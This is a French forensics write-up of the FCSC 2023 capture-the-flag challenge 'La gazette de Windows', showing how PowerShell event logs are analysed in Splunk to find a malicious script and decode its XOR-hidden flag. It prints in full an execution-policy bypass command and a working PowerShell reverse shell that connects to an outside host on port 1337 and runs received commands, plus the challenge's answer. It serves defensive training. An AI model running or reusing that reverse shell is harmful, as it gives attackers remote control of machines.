Hackropole - La gazette de Windows

Hackropole - La gazette de Windows

Introduction :

URL : https://hackropole.fr/fr/challenges/forensics/fcsc2023-forensics-la-gazette-de-windows/
Nom du challenge : La gazette de Windows
Difficulté : Intro
Contexte : Un utilisateur semble avoir exécuté un script PowerShell sur une machine Windows. Les journaux d’événements (Event Logs) ont été récupérés, et notre mission est d’analyser ces logs afin d’identifier ce qui a été transmis à l’attaquant.
Format du flag : FCSC{...}

Outils utilisés

Pour ce challenge, nous allons utiliser Splunk via une image Docker dédiée à l’analyse de fichiers EVTX :
🔗 https://github.com/krdmnbrk/splunk-evtx-onthefly/tree/main

Déroulé / Résolution :

  1. Identification du fichier :

On commence par vérifier la nature du fichier fourni :

caelinceptus@2600:~/Docker/Splunk-EVTX/evtx_files$ file Microsoft-Windows-PowerShell_4Operational.evtx
# -> Microsoft-Windows-PowerShell_4Operational.evtx: MS Windows 10-11 Event Log, version  3.2, 1 chunks (no. 0 in use), next record no. 1114

Il s’agit bien d’un journal d’événements PowerShell provenant d’un système Windows 10/11.

  1. Mise en place de l’environnement Splunk

On copie le fichier EVTX dans le répertoire de travail du conteneur :

caelinceptus@2600:~$ cp path/to/evtx_file splunk-evtx-onthefly/evtx_files

Puis on démarre le conteneur Docker :

caelinceptus@2600:~/Docker/splunk-evtx-onthefly$ docker compose up

Une fois lancé, on accède à Splunk via l’interface web locale et fichier journalisé converti.

Page servant à l'analyse de logs
  1. Recherche d’événements suspects

En parcourant les logs, on remarque une activité suspecte autour de 5h18 le 16 mars 2023, liée à un Event ID 4104, typique des exécutions de scripts PowerShell.

Identification d'une première commande suspect

La commande suivante apparaît dans le log :

if ((Get-ExecutionPolicy) -ne 'AllSigned') {
    Set-ExecutionPolicy -Scope Process Bypass
}; & 'C:\Users\jmichel\Downloads\payload.ps1'

Décomposition :

  • Get-ExecutionPolicy → vérifie la politique d’exécution actuelle.
  • AllSigned → autorise uniquement l’exécution de scripts signés par un éditeur de confiance.
  • Set-ExecutionPolicy -Scope Process Bypass → modifie la politique uniquement pour le processus courant et désactive toute restriction.
  • & 'C:\Users\jmichel\Downloads\payload.ps1' → exécute le script suspect.

En clair :
L’utilisateur a contourné la politique de sécurité PowerShell pour exécuter un script non signé nommé payload.ps1.

  1. Contenu du script PowerShell

Le contenu du script est ensuite visible dans les événements suivants. On y trouve le code suivant :

do {
    Start-Sleep -Seconds 1
    try {
        $TCPClient = New-Object Net.Sockets.TCPClient('10.255.255.16', 1337)
    } catch {}
} until ($TCPClient.Connected)

$NetworkStream = $TCPClient.GetStream()
$StreamWriter = New-Object IO.StreamWriter($NetworkStream)

function WriteToStream ($String) {
    [byte[]]$script:Buffer = 0..$TCPClient.ReceiveBufferSize | % {0}
    $StreamWriter.Write($String + 'SHELL> ')
    $StreamWriter.Flush()
}

$l = 0x46, 0x42, 0x51, 0x40, 0x7F, 0x3C, 0x3E, 0x64, 0x31, 0x31, 0x6E, 0x32, 0x34, 0x68, 0x3B, 0x6E, 0x25, 0x25, 0x24, 0x77, 0x77, 0x73, 0x20, 0x75, 0x29, 0x7C, 0x7B, 0x2D, 0x79, 0x29, 0x29, 0x29, 0x10, 0x13, 0x1B, 0x14, 0x16, 0x40, 0x47, 0x16, 0x4B, 0x4C, 0x13, 0x4A, 0x48, 0x1A, 0x1C, 0x19, 0x2, 0x5, 0x4, 0x7, 0x2, 0x5, 0x2, 0x0, 0xD, 0xA, 0x59, 0xF, 0x5A, 0xA, 0x7, 0x5D, 0x73, 0x20, 0x20, 0x27, 0x77, 0x38, 0x4B, 0x4D

$s = ""
for ($i = 0; $i -lt 72; $i++) {
    $s += [char]([int]$l[$i] -bxor $i)
}

WriteToStream $s

while (($BytesRead = $NetworkStream.Read($Buffer, 0, $Buffer.Length)) -gt 0) {
    $Command = ([text.encoding]::UTF8).GetString($Buffer, 0, $BytesRead - 1)
    $Output = try {
        Invoke-Expression $Command 2>&1 | Out-String
    } catch {
        $_ | Out-String
    }
    WriteToStream ($Output)
}

$StreamWriter.Close()

Analyse :

  • Le script établit une connexion TCP vers l’adresse 10.255.255.16:1337, une adresse interne probablement utilisée par l’attaquant.
  • La variable $l contient une séquence hexadécimale chiffrée.
  • Une boucle XOR (-bxor) déchiffre le contenu pour produire une chaîne transmise à l’attaquant.

Identification du script sur splunk :

Identification du contenu du script payload.ps1
  1. Extraction du flag

Pour obtenir le contenu exact transmis à l’attaquant, on peut exécuter la partie de déchiffrement dans PowerShell :

$l = 0x46, 0x42, 0x51, 0x40, 0x7F, 0x3C, 0x3E, 0x64, 0x31, 0x31, 0x6E, 0x32, 0x34, 0x68, 0x3B, 0x6E, 0x25, 0x25, 0x24, 0x77, 0x77, 0x73, 0x20, 0x75, 0x29, 0x7C, 0x7B, 0x2D, 0x79, 0x29, 0x29, 0x29, 0x10, 0x13, 0x1B, 0x14, 0x16, 0x40, 0x47, 0x16, 0x4B, 0x4C, 0x13, 0x4A, 0x48, 0x1A, 0x1C, 0x19, 0x2, 0x5, 0x4, 0x7, 0x2, 0x5, 0x2, 0x0, 0xD, 0xA, 0x59, 0xF, 0x5A, 0xA, 0x7, 0x5D, 0x73, 0x20, 0x20, 0x27, 0x77, 0x38, 0x4B, 0x4D

$s = ""
for ($i = 0; $i -lt 72; $i++) {
    $s += [char]([int]$l[$i] -bxor $i)
}
$s

Résultat :

FCSC{98c98d98e5a546dcf6b1ea6e47602972ea1ce9ad7262464604753c4f79b3abd3}

Conclusion :

Ce challenge est une excellente introduction à l’analyse de logs PowerShell sous Windows, en mettant en évidence la puissance des journaux EVTX pour reconstituer une chaîne d’exécution malveillante.

Points clés :

  • Event ID 4104 : typiquement associé à l’exécution de scripts PowerShell (même en mémoire).
  • Analyse du code PowerShell : permet d’identifier des comportements suspects (modification de politique d’exécution, connexions réseau sortantes, encodage ou chiffrement de données).
  • Déchiffrement d’une charge utile (payload) : ici, une simple boucle XOR suffisait pour retrouver la donnée transmise à l’attaquant.

En résumé, ce challenge illustre comment une analyse mémoire et log basée sur PowerShell permet de :

  • retracer une exécution de script malveillant,
  • comprendre son fonctionnement (bypass, communication réseau, transfert de données),
  • et finalement reconstituer les informations exfiltrées.

L’utilisation de Splunk avec un EVTX loader offre un cadre pratique et visuel pour ce type d’investigation, rendant l’analyse rapide et reproductible.
C’est un excellent exercice pour se familiariser avec la corrélation entre journalisation Windows et activité PowerShell, un pilier fondamental en DFIR (Digital Forensics & Incident Response).

Read more